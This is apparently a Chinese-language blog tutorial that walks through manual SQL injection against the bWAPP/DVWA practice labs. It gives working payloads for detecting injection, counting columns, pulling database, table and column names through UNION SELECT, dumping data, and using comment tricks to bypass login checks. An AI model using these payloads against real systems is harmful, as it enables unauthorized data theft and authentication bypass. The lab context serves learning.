SQL injection基本流程 by L0st

攻击流程

1. 判断是否存在注入,注入是字符型还是数字型

用1’ or 1=1#若返回正常则为字符型,否则用1 or 1=1#测试为数字型

Admin’ and 1=1 #

Admin’ or 1#

1’ or 1=1#

2.猜解SQL查询语句中的列数(查看sql语句查了几个列)

输入1′ or 1=1 order by 1 #查询成功

输入1′ or 1=1 order by 2 #,查询成功

继续查询,直到出现错误

即可知道SQL查了几个列(字段)

注:

可以通过输入union select 1,2,3…来猜解字段数

或者union select null,2,3,…

3确定显示的字段顺序(确定SQL查列的顺序是firstname,lastname还是lastname,firstname)

输入1′ union select 1,2,3,4,5,6,7 #,查询成功


1.png

可以知道title为第2个查询的列,release第三,以此类推。。

4.获取当前数据库名

输入1′ union select 1,database(),3,4,5,6,7 #,查询成功

说明当前数据库为bwapp

5.获取数据库中的表名

1' union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema=database() #查询成功:

说明bwapp库中有5个表,分别是blog,heroes,movies,users,visitors

6.获取表中的字段名

1' union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_name=’movies’ #(如果失败,试着手动输入’movies’的单引号.)查询成功,说明movies表中有id,title,release_year,genre,main_character,imdb,tickets_stock这些列(字段)

7.下载数据

1' union select 1,group_concat(id,tickets_stock),group_concat(title),4,5,6,7 from movies#

这样就返回了各字段的数据。

很多时候都是使用注释的方法将验证admin密码语句注释掉:

一、单行注释

SQL语句中的单行注释使用 -- (“--”后面一定要加空格!!!)

create database database_x --创建数据库database_x

二、多行注释

SQL语句中的多行注释采用 //

create database database_x

/*

创建一个数据库

名字叫做database_x

*/

三.#注释

DVWA中发现的,字符型注入中语句末尾使用#注释掉’

你可能感兴趣的:(SQL injection基本流程 by L0st)